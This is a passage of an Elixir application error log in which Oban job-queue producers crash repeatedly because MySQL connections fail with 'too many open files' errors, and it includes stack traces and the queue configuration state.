    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:12:01.241126Z], limit: 5, uuid: "fa163d72-3e4f-428e-9f1d-a250b0c99ca8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:01.241136Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50583>, refresh_timer: #Reference<0.2525715032.1068498948.50567>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:15.257000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:19.906000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:20.875000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:23.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:12:14.239888Z], limit: 50, uuid: "5ea9008a-3b34-414c-b551-664e6b8194fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.239894Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27416>, refresh_timer: #Reference<0.2525715032.1077673987.27390>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:12:14.238907Z], limit: 20, uuid: "c7a8cd34-81e3-4fd1-ba3e-4db017279258", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.238913Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164570>, refresh_timer: #Reference<0.2525715032.1121189889.164544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:12:14.240500Z], limit: 5, uuid: "9dc52a4e-40f2-4f63-919f-7ca72388b629", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.240506Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164607>, refresh_timer: #Reference<0.2525715032.1099431938.50913>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:12:14.240192Z], limit: 10, uuid: "9877862b-1311-4277-9285-84608341c6a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.240197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.50927>, refresh_timer: #Reference<0.2525715032.1099431938.50908>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:26.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:12:14.240044Z], limit: 3, uuid: "d7c10dce-4fd5-479a-bf5a-69fa0d7c3211", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.240050Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27418>, refresh_timer: #Reference<0.2525715032.1099431938.50902>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:12:14.240059Z], limit: 5, uuid: "dccdf4de-7c85-4efd-97b7-e36450004ad0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:14.240064Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27417>, refresh_timer: #Reference<0.2525715032.1099431938.50904>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:27.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:28.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:28.943000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:31.356000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:33.040000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:34.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:34.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:34.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:37.584000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:12:26.244166Z], limit: 3, uuid: "48286f52-5787-4805-9a03-603ce838cb20", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.244171Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27589>, refresh_timer: #Reference<0.2525715032.1068498948.50638>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
